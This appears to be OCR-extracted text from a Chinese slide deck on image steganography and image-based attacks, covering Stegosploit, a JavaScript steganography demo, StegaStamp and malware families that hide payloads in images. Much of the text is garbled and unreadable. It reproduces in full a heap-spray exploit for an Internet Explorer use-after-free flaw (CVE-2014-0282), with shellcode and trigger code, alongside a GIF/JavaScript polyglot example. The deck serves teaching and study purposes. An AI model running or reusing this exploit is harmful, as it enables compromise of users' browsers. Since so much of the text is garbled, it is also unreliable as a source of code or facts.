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- Firefox 3.5 Font Tags Buffer Overflow Exploit - CVE-2009-2478

- IE's CInput Use-After-Free vulnerability (CVE-2014-0282)
https://github.com/amichael7/python-stegosploit

- exploit CVE-2013-3346
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- NEBHRITBxss, javescipt, {FHIEINER EPHER. 7%, EYE.
- Goggle Colab, AWS Cloud EF=RIEA=EY)I|1%
- RAEFHFECIEH, GitHub, Gitee. Gitlab 6. (EEH(H
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http://www.xwood.net/_site_domain_/ root/5870/5874/t_c268566.html
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(1) Exploit code for CVE-2014-0282.1]

—

- B EGRR=GEEH TRIGERE: RREGRERERN

DHRNEE, EEMNEE ISR,
- #RNJavaScriptiil X (MEEE)

https://stegosploit.info/

MARIEIEH] nttps:/github.com/Charmve/PyStegosploit

D60 | @ 360TvERmRSMHH:

JavaScript 4~

function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.flat
ten=function(){for(var f=0;f<this.d.length;f++){var n=this.d[f];if(typeof(n)=="
number'){var c=n.toString(16);while(c.length<8){c="0"+c}var l=function(a){retur
n(parseInt(c.substr(a,2),16))};var g=1(6),h=1(4),k=1(2),m=1(0);this.f.push(g);t
his.f.push(h);this.f.push(k);this.f.push(m)}if(typeof(n)=="string"'){for(var d=0
;d<n.length;d++){this.f.push(n.charCodeAt(d))}}}};H5.prototype.fill=function(a)
{for(var c=0,b=0;c<a.data.length;c++,b++){if(b>=8192){b=0}a.data[c]=(b<this.f.1
ength)?this.f[b]:255}};H5.prototype.spray=function(d){this.flatten();for(var b=
0;b<d;b++){var c=document.createElement('canvas');c.width=131072;c.height=1;var
a=c.getContext('2d").createImageData(c.width,c.height);this.fill(a);this.m[b]=

a}};H5.prototype.setData=function(a){this.d=a};var flag=false;var heap=new H5()
s;try{location.href="ms-help:'}catch(e){}function spray(){var a="'\xfc\xe8\x89\x0
0\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x
28\x0f\xb7\x4a\x26\x31\xff\x31\xcO\xac\x3c\x61\x7c\x02\x2c\x20\xc1l\xcf\x0d\x01\
xc7\xe2\xfO\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xcO\x74\x4a
\x01\xdo\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x3
1\xFf\x31\xcO\xac\xc1\xcf\x0d\x01\xc7\x38\xe0@\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x
75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\
x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe@\x58\x5f\x5a\x8b\x12\xeb
\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6F\x87\xff\xd5\xbb\xf
0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xed\x75\x05\x
bb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ;var
c=[];for(var b=0;b<1104;b+=4){c.push(1371756628)}c.push(1371756627);c.push(137

1351263);var f=[1371756626,215,2147353344,1371367674,202122408,4294967295,20212
2400,202122404,64,202116108,202121248,16384];var d=c.concat(f);d.push(a);heap.s
etData(d);heap.spray(256)}function changer(){var c=new Array();for(var a=0;a<10
0;a++){c.push(document.createElement('img'))}if(flag){document.getElementById("
fm').innerHTML="";CollectGarbage();var b="\u2020\udcOc';for(var a=4;a<110;a+=2)
{b+="\u4242'}for(var a=0;a<c.length;a++){c[a].title=b}}}function run(){spray();
document.getElementById('c2').checked=true;document.getElementById('c2"').onprop
ertychange=changer;flag=true;document.getElementById('fm"').reset()}setTimeout(r
un,1000);
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Offzet o1 2z 3 4 5 &8 7 & & &4 BE C I E F hzcii
aooooooo - 47 49 46 33 39 6l ZF Za 0L 00 00 FF 00 &C 00 00 | GIFg9as*..... ;.- #-Format data
Qoooaola | oo 00 EZF 24 04 00 00 02 o0 3B Z& 2F 3D 31 3B 61 | .. /7. ..., :¥f=1l;a <-Format data - For.

noooaoza | eC 65 7E Y4 28 ZZ 43 635 aC 6C &F Z0 57 6F 72 aC | lert("Hello.Worl «<-Foreign data
Qooooosd | ed 5C 6E 28 66 T2 6F ab a0 6l 20 47 49 45 20 66 dyn(frow.a.GIF.£

goooooan | g9 eC 65 29 22 29 3E ile)™)

ra

- [ gifjs.hteml x - gifjs.html x
C Y view-sourcefiley//S:/gif/gifjs.html <« X [ filey if/gifjs.html
1| <htmlx<hbody> |
2 <imy sro="gifis.gif">
—rr . . . . " . ra . N
3 wScript sro="gifis.giftr<facripts G. JavaScript Alert T
4| < /hody></html>
Hello World

(from a GIF file)

L A
/" Data View -
L. Hewxadecimal (1 Byte) Text (RSCII) "
& Q é N . A2 A o= 00 42 4D 2F 22 00 00 00 00 OO0 OO0 00 OO0 00 OO0 28 00 B M / + = = = {
- |/ ~ H:Hﬁg 7, \'LMX\ \\! D / \ a n \!E H:H 10 00 00 14 00 00 00 14 00 00 OO0 00 OO0 01 OO0 00 0O = = = = = = = = e
I ° S 20 00 00 OO OO0 00 00 Ol 00 OO0 00 01 QO OO0 OO0 00 OO = = = = = = = =
30 00 00 OO0 00 00 00 BO 00 80 FF 80 80 00 FF 2& 2F = = = = = = B s e /
40 3D 31 3B 61 6C €5 T2 T4 28 22 48 €5 &C &C 6F 20 = 1 a2 1 & r & {( ™ H e 1 1 o
Etj I S0 57 6F 72 EC €4 GC EE 28 €€ 72 €F €D 20 €1 20 42 W o r 1 d % n {( £ r© o m a E
7': €0 | 4D 50 20 €€ €% EC €5 25 22 235 3B M D £ i 1 e ) "
- ? El&EIEX Er NJavaScriptii & (MEEE)
/

jﬁ:ﬂgfé D:\download\jspics
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StegaStamp: Invisible Hyperlinks in Physical Photographs [2]

Message

BN 1010... 001 i—> - Do
o] - CED
4

Decoded Message
Input Image Encoder StegaStamp Captured Photo Corrupted Image Decoder

- BYREFEIGE, HITEGER. MG, IRFRE, BFrH
7 }EEU%/P{%%IXQ,

- R RERERE. AR RSB
- R BRIV AR BN T FRT
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28 Information Hiding: Steganoc X +
* BB RY

‘ Bluetooth Sniffing... @ Deep face recogn... € #TEX - MSE.. & Ubertooth /Re:[... »

& > .C & charmve.github.io/xss-test/examples/showcase/

M Gmail & YouTub = i Ubuntu 18.0452%... ks B IEE. ~TEUbuntuffs# 3 £ -
mail ouTube Q@ #E B =2 untu = \Q cmakeEESEE FTFEUbuntu charmve.github.io B

hacked

Information Hi avaScript

This little demo here demonstrades The €ore Tunctionality of my Javascript library steganographyjs. Basically it allows you to hide or
read data in or from the alpha channeror any mage.

Regarding the demo: first of all you may hide the text from the textarea inside any image - you have previously selected from your
local filesystem - by using the "Hide"-button. After the new image with the text encoded inside is generated you may download it and
distribute it with the secret message inside instead of the old boring messageless picture. As the second part it is possible to read
message encoded inside the selected image using the "Read"-button

Note that there will be no message at all or some cryptic message if no alpha channel is set or the message is encoded with another algorithm, so | recommend you to use this

demo to encode and decode the message.

e - o x
OB NG

lmage: Plaln Image: &8 Information Hiding: Steganeg X O 36088, SORE

SRS | cover_test_img3.png

Text: (10115714 chars)

C & socom

M Gmail @ YouTube 9 18 B 83 Ubuntu 180488, B\ cmakelBEA#E... EFEUbuntut.. |3 #BUbertooth.. A BLE Hacking: #.. [ Project Ubertooth @ Bluetooth Sniffing... @ Deep face recogn.. @ BT - &% @ Ubertooth / Res ..
BTN B BE Bh RE BE BH 2% &N ES- jbm: #E2aC 45 BE BB B

Wy, S0. Com

0O 3e0=

Message:

Www.so.com

ik EREAurl, fETE
RPRIER, ForERE, F
SNBEEEMITA. 32ffRtoken

IAHER SNTE SREE eEDhD BRASK eSRE  ESafr J0EERE 02021360 CN @G0 TEERES MICPES0103148-18 FLFEEE11000002000022 HICPE0S0047S

Demo: https:/charmve.github.io/xss-test/examples/showcase/ S5



https://charmve.github.io/xss-test/examples/showcase/

D60 | 9360TuEBRRH5H:

[136, 136, 136, 255, 136, 136, 136, 255, 232, 208, 159, 255,
232, 208, 159, 255, 237, 203, 143, 255, 237, 203, 143, 255,
235, 206, 148, 255, 235, 206, 148, 255, 234, 206, 154, 255,
234, 206, 154, 255, 237, 200, 148, 255, 237, 200, 148, 255,

b

221,181, 132, 255, 221, 181, 132, 255, 214, 175, 127, 255, 'Message:

214, 175, 127, 255, 222, 183, 135, 255, 222, 183, 135, 255,

210, 171, 125, 255, 210, 171, 125, 255, 210, 170, 124, 255, test

210, 170, 124, 255, 237, 195, 150, 255, 237, 195, 150, 255,

248, 209, 157, 255, ...] [116, 101, 115, 116]

[136, 136, 136, 249, 136, 136, 136, 251, 232, 208, 159, 246,
232, 208, 159, 245, 237, 203, 143, 245, 237, 203, 143, 247,
235, 206, 148, 246, 235, 206, 148, 248, 234, 206, 154, 245,
234, 206, 154, 245, 237, 200, 148, 249, 237, 200, 148, 246,
221,181, 132, 252, 221, 181, 132, 245, 214, 175, 127, 245,
214,175, 127, 245, 222, 183, 135, 249, 222, 183, 135, 251,
210, 171, 125, 246, 210, 171, 125, 245, 210, 170, 124, 245,
210, 170, 124, 245, 237, 195, 150, 255, 237, 195, 150, 255,
248, 209, 157, 255, ...] 6

Demo: https:/charmve.github.io/xss-test/examples/showcase/

by



https://charmve.github.io/xss-test/examples/showcase/

| Encode

Source:

[136, 136, 136, 255, 136, 136, 136, 255, 232, 208, 159, 255,
! 232, 208, 159, 255, 237, 203, 143, 255, 237, 203, 143, 255,
1‘.~ 235, 206, 148, 255, 235, 206, 148, 255, 234, 206, 154, 255,
. 234, 206, 154, 255, 237, 200, 148, 255, 237, 200, 148, 255,
. 221, 181, 132, 255, 221, 181, 132, 255, 214, 175, 127, 255,
64 %64 214, 175, 127, 255, 222, 183, 135, 255, 222, 183, 135, 255,
210, 171, 125, 255, 210, 171, 125, 255, 210, 170, 124, 255,
210, 170, 124, 255, 237, 195, 150, 255, 237, 195, 150, 255,

248, 209, 157, 255, ...]

—

Message: TR

teSt == [116,101, 115,116]

|

Y modMessage (22)
[4,6,1,0,0, ]

l

qsS (22)

[249, 251, 246, 245, 245,

Create S

~
<

560 | @ 360TLERARSHRR

Write ¢S int

D Image Alpha Channel

[136, 136, 136, 249, 136, 136, 136, 251, 232, 208, 159, 246,
232, 208, 159, 245, 237, 203, 143, 245, 237, 203, 143, 247,
235, 206, 148, 246, 235, 206, 148, 248, 234, 206, 154, 245,
234, 206, 154, 245, 237, 200, 148, 249, 237, 200, 148, 246,
221,181, 132, 252, 221, 181, 132, 245, 214, 175, 127, 245,
214,175, 127, 245, 222, 183, 135, 249, 222, 183, 135, 251,
210, 171, 125, 246, 210, 171, 125, 245, 210, 170, 124, 245,
210, 170, 124, 245, 237, 195, 150, 255, 237, 195, 150, 255,
248, 209, 157, 255, ...]

-
b

Cover
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Message: test

Unicode [116, 101, 115, 116]

@®© modMessage (21) [4,6,1,0,0,2,1,3,0,0,4,1,7,0,0,0,4,6,1,0,0]

@ qS (21) [249, 251, 246, 245, 245, 247, 246, 248, 245, 245, 249, 246, 252, 245, 245, 245, 249, 251, 246, 245, 245, 245]



* I Produce modMessage

HIgE1E

t=3;

threshold = 1;
codeUnitSize = 16;
prime = 11;
boudlesPerChar = 5;
overlapping = 1

“'1§J t->116 — [4,6,1,0, 0]

ﬁftm ol L

-‘anm/ 1210

F ke 12
3 = w1 =&
rdEp® = 4’

M*(:)’: 54

© dech= 1b $¥b = @
M"MW: 4/85
had= 48

O doo = 14 K= @
e = b4Tes 2

fre NP BASG

© debn = LWL &XE
,.pMaoye b\

RIEERZ4 modk =
) ® deh> ul 30’“’“
ralheage < 0>

ish > v>'7371>
= fdecc b

hik

for(i=0; i<=message.length; i+=1) {

dec = message.charCodeAt(i) || @;
curOverlapping = (overlapping*i)%t;

console . log(curOverlapping,message.length);
if(curOverlapping > @ && oldDec) {

mask = Math.pow(2,t-curOverlapping) - 1;

oldMask = Math.pow(2, codeUnitSize) * (1 - Math.pow(2, -curOverlapping)});

left = (dec & mask) << curOverlapping;
right = (oldDec & oldMask) >> (codeUnitSize - curOverlapping);
modMessage . push(left+right);

if(i<message.length) {
mask = Math.pow(2,2*t-curOverlapping) * (1 - Math.pow(2, -t));
for(j=1; j<bundlesPerChar; j+=1) {
decM = dec & mask;
modMessage .push(decM >> (((j-1)*t)+(t-curOverlapping)));
mask <<= t;

1
J

if((overlapping*(i+l) )%t === 8) {
mask = Math.pow(2, codeUnitSize) * (1 - Math.pow(2,-t));
decM = dec & mask;
modMessage .push(decM >> (codeUnitSize-t));

lse if(((((overlapping*(i+1))%t) + (t-curOverlapping)) <= t}) {
decM = dec & mask;
modMessage . push({decM >> (((bundlesPerChar-1)*t)+(t-curOverlapping)));

1
J

}

else if(i<message.length) {
mask = Math.pow(2,t) - 1
for(j=0; j<bundlesPerChar; j+=1) {
decM = dec & mask;
modMessage.push(decM »>> (j*t));
mask <<= t;

}

}

oldDec = dec;
console. lo" modMessage” ,modMe ssag

BEAMR 25k



| Write Image Data D60 | @ seoTuERAREHS R

for(offset = B; (offset+threshold)*4 <= data.length && (offset+threshold) <= modMessage
qs=[1;
for(i=0; i<threshold && i+offset < modMessage.length; i+=1) {
q = E!_:|
for(j=offset; j<threshold+offset && j<modMessage.length; j+=1)
g+=modMessage[j]*Math.pow(args(i),j-offset);
q5[i] = (255-prime+1)+{gi%prime);

J

console.log(gS)
for(i=offset*4; i<(offset+qS.length)*4 && i<data.length; i+=4)
data[i+3] = g5[(i/4)%threshold];

subOffset = g5.length;

10



I modMessage reduction EBSO | @360TLEERRSHSK

i, k, done;
if (threshold === 1) {

for(i=3, done= ; ldone && i<data.length && !done; i+=4) {
done = messageCompleted(data, i, threshold);

console. log(modMessage);

if(ldone) modMessage.push(data[i]-(255-prime+1));
console. log(modMessage);

11



| Decode D60 | 9360TuEBRRH5H:
Cover:

modMessage.push = data(i) — (255-prime+1) , [136, 136, 136, 249, 136, 136, 136, 251, 232, 208, 159, 246,
- data(i)  (255-11+1) W 232208, 159, 245, 237, 203, 143, 245, 237, 203, 143, 247,
! Wl 235 206, 148, 246, 235, 206, 148, 248, 234, 206, 154, 245
= data(i) - 245 234, 206, 154, 245 237, 200, 148, 249, 237, 200, 148, 246,
221,181, 132, 252, 221, 181, 132, 245 214. 175 127, 245,
214, 175 127, 245, 222, 183, 135, 249, 222, 183, 135, 251,
210, 171, 125, 246, 210, 171, 125, 245 210, 170, 124, 245,
210, 170, 124, 245, 237, 195, 150, 255, 237, 195, 150, 255,
248, 209, 157, 255, .. ]

[112]

dS (21) [249, 251, 246, 245, 245, 247, 246, 248, 245, 245, 249, 246, 252, 245, 245, 245, 249, 251, 246, 245, 245, 245]

modMessage (21) [4,6,1,0,0,2,1,3,0,0,4,1,7,0,0,0,4,6,1,0,0]

Source:
. [136, 136, 136, 255, 136, 136, 136, 255, 232, 208, 159, 255,
'\ 232, 208, 159, 255, 237, 203, 143, 255, 237, 203, 143, 255,
235, 206, 148, 255, 235, 206, 148, 255, 234. 206, 154, 255,
234, 206, 154, 255, 237, 200, 148, 255, 237, 200, 148, 255,
221,181, 132, 255, 221, 181, 132, 255, 214. 175, 127, 255,
I 214, 175, 127, 255, 222, 183, 135, 255, 222, 183, 135, 255,
Message: test 210, 171, 125, 255. 210, 171, 125, 255, 210, 170, 124, 255,
210, 170, 124, 255, 237,195, 150, 255, 237, 195, 150, 255, 12
248,209, 157, 255, .. ] |

\ 4

Unicode [116, 101, 115, 116]

Y




| Message % D60 | 9360TuEBRRH5H:

for(i = @; i < modMessage.length; i+=1) {
charCode += modMessage[i] << bitCount;
bitCount += t;
if(bitCount »>= codeUnitSize) {
message += String.fromCharCode(charCode & mask);
bitCount %= codeUnitSize;

charCode = modMessage[i] »>> (t-bitCount);
by
N
I
if{charCode !== @) message += String.fromCharCode{ charCode & mask);

decode
. if(i<message.length) {
lgilgi mask = Math.pow(2,2*t-curOverlapping) * (1 - Math.pow(2, -t));
for(j=1; j<bundlesPerChar; j+=1}) {
decM = dec & mask;
modMessage.push(decM >> (((j-1)*t)+(t-curOverlapping)));
mask <<= t;
}
if((overlapping*(i+1))%t === 8) {
mask = Math.pow(2, codeUnitSize) * (1 - Math.pow(2,-t));
decM = dec & mask;

modMessage.push(decM >> (codeUnitSize-t));

I
L
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| HaveATry J $S60 | 93e0TuERmRSH5H:

Demo: https:/charmve.github.io/xss-test/examples/showcase/

Addition: Hidden message

test_img2

test_imgl

14


https://charmve.github.io/xss-test/examples/showcase/

| |
BREEFIMRNCEERRSANESRG

BEl, EESEF/IEIEE—EEITWindowsHImacOSTELEETHERTIES A, B(IBEET, WhLEE
ErESAFEESS =S E, BHESavaScipt, EEEFEV T2, FTEET JERESANT
EEEE,

D60 | @ 360TvERmRSMHH:

AdGhonlas: ZEEXEHEERR. A, HTMLI{REE 7 E==lavaScript,
Cerber: EREMGFImINESHEB,

DNSChanger: {EFEPNG LSBEEEESZFEIAESIIE=E4A,

Stegano: TEPNGIEZHMEIE STESEERE.

Stegoloadr (MELurk) : ZEETIHERRSANEEA, REMNENURL, MmEHEE ERIPayload,
Sundown: ERE&ZEPNGIEIEEIRENBIEESEERFIUE.

SyncCrypt: #WZ=EEF, EEsBMCIEBIEETEECUY R,

TeslaCrypt: FEHTTP 4044820 ES, FEHTMUEERE, EHE3CRESESS,
Vawtrak (3M#ZNeverquest) : FEERBILSBREEEET == PayloadBJURL,
VeryMal: ZEETEEdmacOSER, FEEavaScriptin )\ F&iE0E+,

Zbot: 1SEIEIIZEICSREEUERIPEGILIRR.

ZeroT: FRARSHA, EETEYHEEZBritney SpearsfiEBH =, 15
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[8] Base64 4@ fERY https://www.baseb4-image.de/
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